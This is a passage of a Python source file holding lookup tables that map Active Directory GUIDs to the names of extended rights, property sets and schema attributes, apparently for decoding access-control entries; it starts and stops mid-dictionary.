"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Get-Changes", "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Get-Changes-All", "89e95b76-444d-4c62-991a-0facbeda640c": ( "DS-Replication-Get-Changes-In-Filtered-Set" ), "1131f6ac-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Manage-Topology", "f98340fb-7c5b-4cdb-a00b-2ebdfa115a96": "DS-Replication-Monitor-Topology", "1131f6ab-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Synchronize", "05c74c5e-4deb-43b4-bd9f-86664c2a7fd5": ( "Enable-Per-User-Reversibly-Encrypted-Password" ), "b7b1b3de-ab09-4242-9e30-9980e5d322f7": "Generate-RSoP-Logging", "b7b1b3dd-ab09-4242-9e30-9980e5d322f7": "Generate-RSoP-Planning", "7c0e2a7c-a419-48e4-a995-10180aad54dd": "Manage-Optional-Features", "ba33815a-4f93-4c76-87f3-57574bff8109": "Migrate-SID-History", "b4e60130-df3f-11d1-9c86-006008764d0e": "msmq-Open-Connector", "06bd3201-df3e-11d1-9c86-006008764d0e": "msmq-Peek", "4b6e08c3-df3c-11d1-9c86-006008764d0e": "msmq-Peek-computer-Journal", "4b6e08c1-df3c-11d1-9c86-006008764d0e": "msmq-Peek-Dead-Letter", "06bd3200-df3e-11d1-9c86-006008764d0e": "msmq-Receive", "4b6e08c2-df3c-11d1-9c86-006008764d0e": "msmq-Receive-computer-Journal", "4b6e08c0-df3c-11d1-9c86-006008764d0e": "msmq-Receive-Dead-Letter", "06bd3203-df3e-11d1-9c86-006008764d0e": "msmq-Receive-journal", "06bd3202-df3e-11d1-9c86-006008764d0e": "msmq-Send", "a1990816-4298-11d1-ade2-00c04fd8d5cd": "Open-Address-Book", "1131f6ae-9c07-11d1-f79f-00c04fc2dcd2": ( "Read-Only-Replication-Secret-Synchronization" ), "45ec5156-db7e-47bb-b53f-dbeb2d03c40f": "Reanimate-Tombstones", "0bc1554e-0a99-11d1-adbb-00c04fd8d5cd": "Recalculate-Hierarchy", "62dd28a8-7f46-11d2-b9ad-00c04f79f805": "Recalculate-Security-Inheritance", "ab721a56-1e2f-11d0-9819-00aa0040529b": "Receive-As", "9432c620-033c-4db7-8b58-14ef6d0bf477": "Refresh-Group-Cache", "1a60ea8d-58a6-4b20-bcdc-fb71eb8a9ff8": "Reload-SSL-Certificate", "7726b9d5-a4b4-4288-a6b2-dce952e80a7f": "Run-Protect_Admin_Groups-Task", "91d67418-0135-4acc-8d79-c08e857cfbec": "SAM-Enumerate-Entire-Domain", "ab721a54-1e2f-11d0-9819-00aa0040529b": "Send-As", "ab721a55-1e2f-11d0-9819-00aa0040529b": "Send-To", "ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501": "Unexpire-Password", "280f369c-67c7-438e-ae98-1d46f3c6f541": "Update-Password-Not-Required-Bit", "be2bb760-7f46-11d2-b9ad-00c04f79f805": "Update-Schema-Cache", "ab721a53-1e2f-11d0-9819-00aa0040529b": "User-Change-Password", "00299570-246d-11d0-a768-00aa006e0529": "User-Force-Change-Password", "3e0f7e18-2c7a-4c10-ba82-4d926db99a3e": "DS-Clone-Domain-Controller", "084c93a2-620d-4879-a836-f0ae47de0e89": "DS-Read-Partition-Secrets", "94825a8d-b171-4116-8146-1e34d8f54401": "DS-Write-Partition-Secrets", "4125c71f-7fac-4ff0-bcb7-f09a41325286": "DS-Set-Owner", "88a9933e-e5c8-4f2a-9dd7-2527416b8092": "DS-Bypass-Quota", "9b026da6-0d3c-465c-8bee-5199d7165cba": "DS-Validated-Write-Computer", } PROPERTY_SETS = { "c7407360-20bf-11d0-a768-00aa006e0529": "Domain-Password (property set)", "59ba2f42-79a2-11d0-9020-00c04fc2d3cf": "General-Information (property set)", "4c164200-20c0-11d0-a768-00aa006e0529": "Account-Restrictions (property set)", "5f202010-79a5-11d0-9020-00c04fc2d4cf": "Logon-Information (property set)", "bc0ac240-79a9-11d0-9020-00c04fc2d4cf": "Group-Membership (property set)", "e45795b2-9455-11d1-aebd-0000f80367c1": "Phone-and-Mail-Options (property set)", "77b5b886-944a-11d1-aebd-0000f80367c1": "Personal-Information (property set)", "e45795b3-9455-11d1-aebd-0000f80367c1": "Web-Information (property set)", "e48d0154-bcf8-11d1-8702-00c04fb96050": "Public-Information (property set)", "037088f8-0ae1-11d2-b422-00a0c968f939": "Remote-Access-Information (property set)", "b8119fd0-04f6-4762-ab7a-4986c76b3f9a": "Other-Domain-Parameters (property set)", "72e39547-7b18-11d1-adef-00c04fd8d5cd": "DNS-Host-Name-Attributes (property set)", "ffa6f046-ca4b-4feb-b40d-04dfee722543": "MS-TS-GatewayAccess (property set)", "91e647de-d96f-4b70-9557-d63ff4f3ccd8": "Private-Information (property set)", "5805bc62-bdc9-4428-a5e2-856a0f4c185e": ( "Terminal-Server-License-Server (property set)" ), } SCHEMA_ATTRIBUTES = { "bf967915-0de6-11d0-a285-00aa003049e2": "Account-Expires", "031952ec-3b72-11d2-90cc-00c04fd91ab1": "Account-Name-History", "7f56127d-5301-11d1-a9c5-0000f80367c1": "ACS-Aggregate-Token-Rate-Per-User", "7f561283-5301-11d1-a9c5-0000f80367c1": "ACS-Allocable-RSVP-Bandwidth", "1cb355a1-56d0-11d1-a9c6-0000f80367c1": "ACS-Cache-Timeout", "7f56127a-5301-11d1-a9c5-0000f80367c1": "ACS-Direction", "1cb355a0-56d0-11d1-a9c6-0000f80367c1": "ACS-DSBM-DeadTime", "1cb3559e-56d0-11d1-a9c6-0000f80367c1": "ACS-DSBM-Priority", "1cb3559f-56d0-11d1-a9c6-0000f80367c1": "ACS-DSBM-Refresh", "7f561287-5301-11d1-a9c5-0000f80367c1": "ACS-Enable-ACS-Service", "f072230e-aef5-11d1-bdcf-0000f80367c1": "ACS-Enable-RSVP-Accounting", "7f561285-5301-11d1-a9c5-0000f80367c1": "ACS-Enable-RSVP-Message-Logging", "7f561286-5301-11d1-a9c5-0000f80367c1": "ACS-Event-Log-Level", "dab029b6-ddf7-11d1-90a5-00c04fd91ab1": "ACS-Identity-Name", "f072230c-aef5-11d1-bdcf-0000f80367c1": "ACS-Max-Aggregate-Peak-Rate-Per-User", "7f56127e-5301-11d1-a9c5-0000f80367c1": "ACS-Max-Duration-Per-Flow", "87a2d8f9-3b90-11d2-90cc-00c04fd91ab1": "ACS-Maximum-SDU-Size", "f0722310-aef5-11d1-bdcf-0000f80367c1": "ACS-Max-No-Of-Account-Files", "1cb3559c-56d0-11d1-a9c6-0000f80367c1": "ACS-Max-No-Of-Log-Files", "7f561284-5301-11d1-a9c5-0000f80367c1": "ACS-Max-Peak-Bandwidth", "7f56127c-5301-11d1-a9c5-0000f80367c1": "ACS-Max-Peak-Bandwidth-Per-Flow", "f0722311-aef5-11d1-bdcf-0000f80367c1": "ACS-Max-Size-Of-RSVP-Account-File", "1cb3559d-56d0-11d1-a9c6-0000f80367c1": "ACS-Max-Size-Of-RSVP-Log-File", "81f6e0df-3b90-11d2-90cc-00c04fd91ab1": "ACS-Max-Token-Bucket-Per-Flow", "7f56127b-5301-11d1-a9c5-0000f80367c1": "ACS-Max-Token-Rate-Per-Flow", "9c65329b-3b90-11d2-90cc-00c04fd91ab1": "ACS-Minimum-Delay-Variation", "9517fefb-3b90-11d2-90cc-00c04fd91ab1": "ACS-Minimum-Latency", "8d0e7195-3b90-11d2-90cc-00c04fd91ab1": "ACS-Minimum-Policed-Size", "aec2cfe3-3b90-11d2-90cc-00c04fd91ab1": "ACS-Non-Reserved-Max-SDU-Size", "b6873917-3b90-11d2-90cc-00c04fd91ab1": "ACS-Non-Reserved-Min-Policed-Size", "a331a73f-3b90-11d2-90cc-00c04fd91ab1": "ACS-Non-Reserved-Peak-Rate", "a916d7c9-3b90-11d2-90cc-00c04fd91ab1": "ACS-Non-Reserved-Token-Size", "1cb355a2-56d0-11d1-a9c6-0000f80367c1": "ACS-Non-Reserved-Tx-Limit", "f072230d-aef5-11d1-bdcf-0000f80367c1": "ACS-Non-Reserved-Tx-Size", "7f561282-5301-11d1-a9c5-0000f80367c1": "ACS-Permission-Bits", "1cb3559a-56d0-11d1-a9c6-0000f80367c1": "ACS-Policy-Name", "7f561281-5301-11d1-a9c5-0000f80367c1": "ACS-Priority", "f072230f-aef5-11d1-bdcf-0000f80367c1": "ACS-RSVP-Account-Files-Location", "1cb3559b-56d0-11d1-a9c6-0000f80367c1": "ACS-RSVP-Log-Files-Location", "7cbd59a5-3b90-11d2-90cc-00c04fd91ab1": "ACS-Server-List", "7f56127f-5301-11d1-a9c5-0000f80367c1": "ACS-Service-Type", "7f561279-5301-11d1-a9c5-0000f80367c1": "ACS-Time-Of-Day", "7f561280-5301-11d1-a9c5-0000f80367c1": "ACS-Total-No-Of-Flows", "032160be-9824-11d1-aec0-0000f80367c1": "Additional-Trusted-Service-Names", "f70b6e48-06f4-11d2-aa53-00c04fd7d83a": "Address-Book-Roots", "508ca374-a511-4e4e-9f4f-856f61a6b7e4": "Address-Book-Roots2", "5fd42461-1262-11d0-a060-00aa006c33ed": "Address-Entry-Display-Table", "5fd42462-1262-11d0-a060-00aa006c33ed": "Address-Entry-Display-Table-MSDOS", "5fd42463-1262-11d0-a060-00aa006c33ed": "Address-Syntax", "5fd42464-1262-11d0-a060-00aa006c33ed": "Address-Type", "553fd038-f32e-11d0-b0bc-00c04fd8dca6": "Admin-Context-Menu", "bf967918-0de6-11d0-a285-00aa003049e2": "Admin-Count", "bf967919-0de6-11d0-a285-00aa003049e2": "Admin-Description", "bf96791a-0de6-11d0-a285-00aa003049e2": "Admin-Display-Name", "18f9b67d-5ac6-4b3b-97db-d0a406afb7ba": "Admin-Multiselect-Property-Pages", "52458038-ca6a-11d0-afff-0000f80367c1": "Admin-Property-Pages", "9a7ad940-ca53-11d1-bbd0-0080c76670c0": "Allowed-Attributes", "9a7ad941-ca53-11d1-bbd0-0080c76670c0": "Allowed-Attributes-Effective", "9a7ad942-ca53-11d1-bbd0-0080c76670c0": "Allowed-Child-Classes", "9a7ad943-ca53-11d1-bbd0-0080c76670c0": "Allowed-Child-Classes-Effective", "00fbf30c-91fe-11d1-aebc-0000f80367c1": "Alt-Security-Identities", "45b01500-c419-11d1-bbc9-0080c76670c0": "ANR", "dd712226-10e4-11d0-a05f-00aa006c33ed": "Application-Name", "8297931d-86d3-11d0-afda-00c04fd930c9": "Applies-To", "96a7dd65-9118-11d1-aebc-0000f80367c1": "App-Schema-Version", "ba305f75-47e3-11d0-a1a6-00c04fd930c9": "Asset-Number", "0296c11c-40da-11d1-a9c0-0000f80367c1": "Assistant", "3320fc38-c379-4c17-a510-1bdf6133c5da": "associatedDomain", "f7fbfc45-85ab-42a4-a435-780e62f7858b": "associatedName", "398f63c0-ca60-11d1-bbd1-0000f81f10c0": "Assoc-NT-Account", "fa4693bb-7bc2-4cb9-81a8-c99c43b7905e": "attributeCertificateAttribute", "cb843f80-48d9-11d1-a9c3-0000f80367c1": "Attribute-Display-Names", "bf967922-0de6-11d0-a285-00aa003049e2": "Attribute-ID", "bf967924-0de6-11d0-a285-00aa003049e2": "Attribute-Security-GUID", "bf967925-0de6-11d0-a285-00aa003049e2": "Attribute-Syntax", "9a7ad944-ca53-11d1-bbd0-0080c76670c0": "Attribute-Types", "d0e1d224-e1a0-42ce-a2da-793ba5244f35": "audio", "6da8a4fe-0e52-11d0-a286-00aa003049e2": "Auditing-Policy", "bf967928-0de6-11d0-a285-00aa003049e2": "Authentication-Options", "1677578d-47f3-11d1-a9c3-0000f80367c1": "Authority-Revocation-List", "bf96792c-0de6-11d0-a285-00aa003049e2": "Auxiliary-Class", "bf96792d-0de6-11d0-a285-00aa003049e2": "Bad-Password-Time", "bf96792e-0de6-11d0-a285-00aa003049e2": "Bad-Pwd-Count", "1f0075f9-7e40-11d0-afd6-00c04fd930c9": "Birth-Location", "e3f3cb4e-0f20-42eb-9703-d2ff26e52667": "bootFile", "d72a0750-8c7c-416e-8714-e65f11e908be": "bootParameter", "d50c2cdb-8951-11d1-aebc-0000f80367c1": "Bridgehead-Server-List-BL", "d50c2cda-8951-11d1-aebc-0000f80367c1": "Bridgehead-Transport-List", "f87fa54b-b2c5-4fd7-88c0-daccb21d93c5": "buildingName", "bf96792f-0de6-11d0-a285-00aa003049e2": "Builtin-Creation-Time", "bf967930-0de6-11d0-a285-00aa003049e2": "Builtin-Modified-Count", "bf967931-0de6-11d0-a285-00aa003049e2": "Business-Category", "ba305f76-47e3-11d0-a1a6-00c04fd930c9": "Bytes-Per-Minute", "bf967945-0de6-11d0-a285-00aa003049e2": "Country-Name", "bf967932-0de6-11d0-a285-00aa003049e2": "CA-Certificate", "963d2740-48be-11d1-a9c3-0000f80367c1": "CA-Certificate-DN", "963d2735-48be-11d1-a9c3-0000f80367c1": "CA-Connect", "9a7ad945-ca53-11d1-bbd0-0080c76670c0": "Canonical-Name", "d9e18314-8939-11d1-aebc-0000f80367c1": "Can-Upgrade-Script", "d4159c92-957d-4a87-8a67-8d2934e01649": "carLicense", "7bfdcb81-4807-11d1-a9c3-0000f80367c1": "Catalogs", "7bfdcb7e-4807-11d1-a9c3-0000f80367c1": "Categories", "7d6c0e94-7e20-11d0-afd6-00c04fd930c9": "Category-Id", "963d2738-48be-11d1-a9c3-0000f80367c1": "CA-Usages", "963d2736-48be-11d1-a9c3-0000f80367c1": "CA-WEB-URL", "963d2732-48be-11d1-a9c3-0000f80367c1": "Certificate-Authority-Object", "1677579f-47f3-11d1-a9c3-0000f80367c1": "Certificate-Revocation-List", "2a39c5b1-8960-11d1-aebc-0000f80367c1": "Certificate-Templates", "548e1c22-dea6-11d0-b010-0000f80367c1": "Class-Display-Name", "bf96793f-0de6-11d0-a285-00aa003049e2": "Common-Name", "f0f8ffa7-1191-11d0-a060-00aa006c33ed": "Text-Country", "bf967938-0de6-11d0-a285-00aa003049e2": "Code-Page", "bf96793b-0de6-11d0-a285-00aa003049e2": "COM-ClassID", "281416d9-1968-11d0-a28f-00aa003049e2": "COM-CLSID", "bf96793c-0de6-11d0-a285-00aa003049e2": "COM-InterfaceID", "bf967a6a-0de6-11d0-a285-00aa003049e2": "User-Comment", "281416dd-1968-11d0-a28f-00aa003049e2": "COM-Other-Prog-Id", "f0f8ff88-1191-11d0-a060-00aa006c33ed": "Company", "bf96793d-0de6-11d0-a285-00aa003049e2": "COM-ProgID", "281416db-1968-11d0-a28f-00aa003049e2": "COM-Treat-As-Class-Id", "281416de-1968-11d0-a28f-00aa003049e2": "COM-Typelib-Id", "281416da-1968-11d0-a28f-00aa003049e2": "COM-Unique-LIBID", "bf967943-0de6-11d0-a285-00aa003049e2": "Content-Indexing-Allowed", "4d8601ee-ac85-11d0-afe3-00c04fd930c9": "Context-Menu", "6da8a4fc-0e52-11d0-a286-00aa003049e2": "Control-Access-Rights", "bf967944-0de6-11d0-a285-00aa003049e2": "Cost", "5fd42471-1262-11d0-a060-00aa006c33ed": "Country-Code", "2b09958a-8931-11d1-aebc-0000f80367c1": "Create-Dialog", "2df90d73-009f-11d2-aa4c-00c04fd7d83a": "Create-Time-Stamp", "2b09958b-8931-11d1-aebc-0000f80367c1": "Create-Wizard-Ext", "bf967946-0de6-11d0-a285-00aa003049e2": "Creation-Time", "4d8601ed-ac85-11d0-afe3-00c04fd930c9": "Creation-Wizard", "7bfdcb85-4807-11d1-a9c3-0000f80367c1": "Creator", "963d2737-48be-11d1-a9c3-0000f80367c1": "CRL-Object", "963d2731-48be-11d1-a9c3-0000f80367c1": "CRL-Partitioned-Revocation-List", "167757b2-47f3-11d1-a9c3-0000f80367c1": "Cross-Certificate-Pair", "1f0075fc-7e40-11d0-afd6-00c04fd930c9": "Current-Location", "963d273f-48be-11d1-a9c3-0000f80367c1": "Current-Parent-CA", "bf967947-0de6-11d0-a285-00aa003049e2": "Current-Value", "1f0075fe-7e40-11d0-afd6-00c04fd930c9": "Curr-Machine-Id", "bf96799c-0de6-11d0-a285-00aa003049e2": "DBCS-Pwd", "19195a55-6da0-11d0-afd3-00c04fd930c9": "Domain-Component", "bf967948-0de6-11d0-a285-00aa003049e2": "Default-Class-Store", "720bc4e2-a54a-11d0-afdf-00c04fd930c9": "Default-Group", "b7b13116-b82e-11d0-afee-0000f80367c1": "Default-Hiding-Value", "bf96799f-0de6-11d0-a285-00aa003049e2": "Default-Local-Policy-Object", "26d97367-6070-11d1-a9c6-0000f80367c1": "Default-Object-Category", "281416c8-1968-11d0-a28f-00aa003049e2": "Default-Priority", "807a6d30-1669-11d0-a064-00aa006c33ed": "Default-Security-Descriptor", "167757b5-47f3-11d1-a9c3-0000f80367c1": "Delta-Revocation-List", "bf96794f-0de6-11d0-a285-00aa003049e2": "Department", "be9ef6ee-cbc7-4f22-b27b-96967e7ee585": "departmentNumber", "bf967950-0de6-11d0-a285-00aa003049e2": "Description", "eea65906-8ac6-11d0-afda-00c04fd930c9": "Desktop-Profile", "bf967951-0de6-11d0-a285-00aa003049e2": "Destination-Indicator", "963d2750-48be-11d1-a9c3-0000f80367c1": "dhcp-Classes", "963d2741-48be-11d1-a9c3-0000f80367c1": "dhcp-Flags", "963d2742-48be-11d1-a9c3-0000f80367c1": "dhcp-Identification", "963d2747-48be-11d1-a9c3-0000f80367c1": "dhcp-Mask", "963d2754-48be-11d1-a9c3-0000f80367c1": "dhcp-MaxKey", "963d2744-48be-11d1-a9c3-0000f80367c1": "dhcp-Obj-Description", "963d2743-48be-11d1-a9c3-0000f80367c1": "dhcp-Obj-Name", "963d274f-48be-11d1-a9c3-0000f80367c1": "dhcp-Options", "963d2753-48be-11d1-a9c3-0000f80367c1": "dhcp-Properties", "963d2748-48be-11d1-a9c3-0000f80367c1": "dhcp-Ranges", "963d274a-48be-11d1-a9c3-0000f80367c1": "dhcp-Reservations", "963d2745-48be-11d1-a9c3-0000f80367c1": "dhcp-Servers", "963d2749-48be-11d1-a9c3-0000f80367c1": "dhcp-Sites", "963d2752-48be-11d1-a9c3-0000f80367c1": "dhcp-State", "963d2746-48be-11d1-a9c3-0000f80367c1": "dhcp-Subnets", "963d273b-48be-11d1-a9c3-0000f80367c1": "dhcp-Type", "963d273a-48be-11d1-a9c3-0000f80367c1": "dhcp-Unique-Key", "963d2755-48be-11d1-a9c3-0000f80367c1": "dhcp-Update-Time", "bf967a1c-0de6-11d0-a285-00aa003049e2": "Reports", "bf967953-0de6-11d0-a285-00aa003049e2": "Display-Name", "bf967954-0de6-11d0-a285-00aa003049e2": "Display-Name-Printable", "bf9679e4-0de6-11d0-a285-00aa003049e2": "Obj-Dist-Name", "9a7ad946-ca53-11d1-bbd0-0080c76670c0": "DIT-Content-Rules", "fe6136a0-2073-11d0-a9c2-00aa006c33ed": "Division", "f0f8ff8b-1191-11d0-a060-00aa006c33ed": "DMD-Location", "167757b9-47f3-11d1-a9c3-0000f80367c1": "DMD-Name", "2df90d86-009f-11d2-aa4c-00c04fd7d83a": "DN-Reference-Update", "e0fa1e65-9b45-11d0-afdd-00c04fd930c9": "Dns-Allow-Dynamic", "e0fa1e66-9b45-11d0-afdd-00c04fd930c9": "Dns-Allow-XFR", "72e39547-7b18-11d1-adef-00c04fd8d5cd": "DNS-Host-Name", "e0fa1e68-9b45-11d0-afdd-00c04fd930c9": "Dns-Notify-Secondaries", "675a15fe-3b70-11d2-90cc-00c04fd91ab1": "DNS-Property", "e0fa1e69-9b45-11d0-afdd-00c04fd930c9": "Dns-Record", "bf967959-0de6-11d0-a285-00aa003049e2": "Dns-Root", "e0fa1e67-9b45-11d0-afdd-00c04fd930c9": "Dns-Secure-Secondaries", "d5eb2eb7-be4e-463b-a214-634a44d7392e": "DNS-Tombstoned", "f18a8e19-af5f-4478-b096-6f35c27eb83f": "documentAuthor", "0b21ce82-ff63-46d9-90fb-c8b9f24e97b9": "documentIdentifier", "b958b14e-ac6d-4ec4-8892-be70b69f7281": "documentLocation", "170f09d7-eb69-448a-9a30-f1afecfd32d7": "documentPublisher", "de265a9c-ff2c-47b9-91dc-6e6fe2c43062": "documentTitle", "94b3a8a9-d613-4cec-9aad-5fbcc1046b43": "documentVersion", "7bfdcb7a-4807-11d1-a9c3-0000f80367c1": "Domain-Certificate-Authorities", "b000ea7b-a086-11d0-afdd-00c04fd930c9": "Domain-Cross-Ref", "963d2734-48be-11d1-a9c3-0000f80367c1": "Domain-ID", "7f561278-5301-11d1-a9c5-0000f80367c1": "Domain-Identifier", "bf96795d-0de6-11d0-a285-00aa003049e2": "Domain-Policy-Object", "80a67e2a-9f22-11d0-afdd-00c04fd930c9": "Domain-Policy-Reference", "bf96795e-0de6-11d0-a285-00aa003049e2": "Domain-Replica", "80a67e29-9f22-11d0-afdd-00c04fd930c9": "Domain-Wide-Policy", "1a1aa5b5-262e-4df6-af04-2cf6b0d80048": "drink", "281416c5-1968-11d0-a28f-00aa003049e2": "Driver-Name", "ba305f6e-47e3-11d0-a1a6-00c04fd930c9": "Driver-Version", "167757bc-47f3-11d1-a9c3-0000f80367c1": "DSA-Signature", "d167aa4b-8b08-11d2-9939-0000f87a57d4": "DS-Core-Propagation-Data", "f0f8ff86-1191-11d0-a060-00aa006c33ed": "DS-Heuristics", "ee8d0ae0-6f91-11d2-9905-0000f87a57d4": "DS-UI-Admin-Maximum", "f6ea0a94-6f91-11d2-9905-0000f87a57d4": "DS-UI-Admin-Notification", "fcca766a-6f91-11d2-9905-0000f87a57d4": "DS-UI-Shell-Maximum", "52458021-ca6a-11d0-afff-0000f80367c1": "Dynamic-LDAP-Server", "8e4eb2ec-4712-11d0-a1a0-00c04fd930c9": "EFSPolicy", "bf967962-0de6-11d0-a285-00aa003049e2": "Employee-ID", "a8df73ef-c5ea-11d1-bbcb-0080c76670c0": "Employee-Number", "a8df73f0-c5ea-11d1-bbcb-0080c76670c0": "Employee-Type", "a8df73f2-c5ea-11d1-bbcb-0080c76670c0": "Enabled", "bf967963-0de6-11d0-a285-00aa003049e2": "Enabled-Connection", "2a39c5b3-8960-11d1-aebc-0000f80367c1": "Enrollment-Providers", "d213decc-d81a-4384-aac2-dcfcfd631cf8": "Entry-TTL", "9a7ad947-ca53-11d1-bbd0-0080c76670c0": "Extended-Attribute-Info", "bf967966-0de6-11d0-a285-00aa003049e2": "Extended-Chars-Allowed", "9a7ad948-ca53-11d1-bbd0-0080c76670c0": "Extended-Class-Info", "bf967972-0de6-11d0-a285-00aa003049e2": "Extension-Name", "d24e2846-1dd9-4bcf-99d7-a6227cc86da7": "Extra-Columns", "bf967974-0de6-11d0-a285-00aa003049e2": "Facsimile-Telephone-Number", "d9e18315-8939-11d1-aebc-0000f80367c1": "File-Ext-Priority", "bf967976-0de6-11d0-a285-00aa003049e2": "Flags", "b7b13117-b82e-11d0-afee-0000f80367c1": "Flat-Name", "bf967977-0de6-11d0-a285-00aa003049e2": "Force-Logoff", "3e97891e-8c01-11d0-afda-00c04fd930c9": "Foreign-Identifier", "7bfdcb88-4807-11d1-a9c3-0000f80367c1": "Friendly-Names", "9a7ad949-ca53-11d1-bbd0-0080c76670c0": "From-Entry", "bf967979-0de6-11d0-a285-00aa003049e2": "From-Server", "2a132578-9373-11d1-aebc-0000f80367c1": "Frs-Computer-Reference", "2a132579-9373-11d1-aebc-0000f80367c1": "Frs-Computer-Reference-BL", "2a13257a-9373-11d1-aebc-0000f80367c1": "FRS-Control-Data-Creation", "2a13257b-9373-11d1-aebc-0000f80367c1": "FRS-Control-Inbound-Backlog", "2a13257c-9373-11d1-aebc-0000f80367c1": "FRS-Control-Outbound-Backlog", "1be8f171-a9ff-11d0-afe2-00c04fd930c9": "FRS-Directory-Filter", "1be8f177-a9ff-11d0-afe2-00c04fd930c9": "FRS-DS-Poll", "52458020-ca6a-11d0-afff-0000f80367c1": "FRS-Extensions", "1be8f178-a9ff-11d0-afe2-00c04fd930c9": "FRS-Fault-Condition", "1be8f170-a9ff-11d0-afe2-00c04fd930c9": "FRS-File-Filter", "2a13257d-9373-11d1-aebc-0000f80367c1": "FRS-Flags", "5245801e-ca6a-11d0-afff-0000f80367c1": "FRS-Level-Limit", "2a13257e-9373-11d1-aebc-0000f80367c1": "FRS-Member-Reference", "2a13257f-9373-11d1-aebc-0000f80367c1": "FRS-Member-Reference-BL", "2a132580-9373-11d1-aebc-0000f80367c1": "FRS-Partner-Auth-Level", "2a132581-9373-11d1-aebc-0000f80367c1": "FRS-Primary-Member", "5245801a-ca6a-11d0-afff-0000f80367c1": "FRS-Replica-Set-GUID", "26d9736b-6070-11d1-a9c6-0000f80367c1": "FRS-Replica-Set-Type", "1be8f174-a9ff-11d0-afe2-00c04fd930c9": "FRS-Root-Path", "5245801f-ca6a-11d0-afff-0000f80367c1": "FRS-Root-Security", "ddac0cee-af8f-11d0-afeb-00c04fd930c9": "FRS-Service-Command", "2a132582-9373-11d1-aebc-0000f80367c1": "FRS-Service-Command-Status", "1be8f175-a9ff-11d0-afe2-00c04fd930c9": "FRS-Staging-Path", "2a132583-9373-11d1-aebc-0000f80367c1": "FRS-Time-Last-Command", "2a132584-9373-11d1-aebc-0000f80367c1": "FRS-Time-Last-Config-Change", "1be8f172-a9ff-11d0-afe2-00c04fd930c9": "FRS-Update-Timeout", "2a132585-9373-11d1-aebc-0000f80367c1": "FRS-Version", "26d9736c-6070-11d1-a9c6-0000f80367c1": "FRS-Version-GUID", "1be8f173-a9ff-11d0-afe2-00c04fd930c9": "FRS-Working-Path", "66171887-8f3c-11d0-afda-00c04fd930c9": "FSMO-Role-Owner", "5fd424a1-1262-11d0-a060-00aa006c33ed": "Garbage-Coll-Period", "a3e03f1f-1d55-4253-a0af-30c2a784e46e": "gecos", "bf96797a-0de6-11d0-a285-00aa003049e2": "Generated-Connection", "16775804-47f3-11d1-a9c3-0000f80367c1": "Generation-Qualifier", "c5b95f0c-ec9e-41c4-849c-b46597ed6696": "gidNumber", "f0f8ff8e-1191-11d0-a060-00aa006c33ed": "Given-Name", "f754c748-06f4-11d2-aa53-00c04fd7d83a": "Global-Address-List", "4898f63d-4112-477c-8826-3ca00bd8277d": "Global-Address-List2", "bf96797d-0de6-11d0-a285-00aa003049e2": "Governs-ID", "f30e3bc1-9ff0-11d1-b603-0000f80367c1": "GPC-File-Sys-Path", "f30e3bc0-9ff0-11d1-b603-0000f80367c1": "GPC-Functionality-Version", "32ff8ecc-783f-11d2-9916-0000f87a57d4": "GPC-Machine-Extension-Names", "42a75fc6-783f-11d2-9916-0000f87a57d4": "GPC-User-Extension-Names", "7bd4c7a6-1add-4436-8c04-3999a880154c": "GPC-WQL-Filter", "f30e3bbe-9ff0-11d1-b603-0000f80367c1": "GP-Link", "f30e3bbf-9ff0-11d1-b603-0000f80367c1": "GP-Options", "bf96797e-0de6-11d0-a285-00aa003049e2": "Group-Attributes", "bf967980-0de6-11d0-a285-00aa003049e2": "Group-Membership-SAM", "eea65905-8ac6-11d0-afda-00c04fd930c9": "Group-Priority", "eea65904-8ac6-11d0-afda-00c04fd930c9": "Groups-to-Ignore", "9a9a021e-4a5b-11d1-a9c3-0000f80367c1": "Group-Type", "bf967982-0de6-11d0-a285-00aa003049e2": "Has-Master-NCs", "bf967981-0de6-11d0-a285-00aa003049e2": "Has-Partial-Replica-NCs", "5fd424a7-1262-11d0-a060-00aa006c33ed": "Help-Data16", "5fd424a8-1262-11d0-a060-00aa006c33ed": "Help-Data32", "5fd424a9-1262-11d0-a060-00aa006c33ed": "Help-File-Name", "ec05b750-a977-4efe-8e8d-ba6c1a6e33a8": "Hide-From-AB", "bf967985-0de6-11d0-a285-00aa003049e2": "Home-Directory", "bf967986-0de6-11d0-a285-00aa003049e2": "Home-Drive", "f0f8ffa1-1191-11d0-a060-00aa006c33ed": "Phone-Home-Primary", "16775781-47f3-11d1-a9c3-0000f80367c1": "Address-Home", "6043df71-fa48-46cf-ab7c-cbd54644b22d": "host", "a45398b7-c44a-4eb6-82d3-13c10946dbfe": "houseIdentifier", "f0f8ff83-1191-11d0-a060-00aa006c33ed": "Icon-Path", "7d6c0e92-7e20-11d0-afd6-00c04fd930c9": "Implemented-Categories", "7bfdcb87-4807-11d1-a9c3-0000f80367c1": "IndexedScopes", "bf96793e-0de6-11d0-a285-00aa003049e2": "Comment", "52458023-ca6a-11d0-afff-0000f80367c1": "Initial-Auth-Incoming", "52458024-ca6a-11d0-afff-0000f80367c1": "Initial-Auth-Outgoing", "f0f8ff90-1191-11d0-a060-00aa006c33ed": "Initials", "96a7dd64-9118-11d1-aebc-0000f80367c1": "Install-Ui-Level", "bf96798c-0de6-11d0-a285-00aa003049e2": "Instance-Type", "bf96798d-0de6-11d0-a285-00aa003049e2": "International-ISDN-Number", "b7c69e60-2cc7-11d2-854e-00a0c983f608": "Inter-Site-Topology-Failover", "b7c69e5e-2cc7-11d2-854e-00a0c983f608": "Inter-Site-Topology-Generator", "b7c69e5f-2cc7-11d2-854e-00a0c983f608": "Inter-Site-Topology-Renew", "bf96798e-0de6-11d0-a285-00aa003049e2": "Invocation-Id", "de8bb721-85dc-4fde-b687-9657688e667e": "ipHostNumber", "6ff64fcd-462e-4f62-b44a-9a5347659eb9": "ipNetmaskNumber", "4e3854f4-3087-42a4-a813-bb0c528958d3": "ipNetworkNumber", "4d146e4a-48d4-11d1-a9c3-0000f80367c1": "Phone-Ip-Primary", "ebf5c6eb-0e2d-4415-9670-1081993b4211": "ipProtocolNumber", "b40ff81f-427a-11d1-a9c2-0000f80367c1": "Ipsec-Data", "b40ff81e-427a-11d1-a9c2-0000f80367c1": "Ipsec-Data-Type", "b40ff823-427a-11d1-a9c2-0000f80367c1": "Ipsec-Filter-Reference", "b40ff81d-427a-11d1-a9c2-0000f80367c1": "Ipsec-ID", "b40ff820-427a-11d1-a9c2-0000f80367c1": 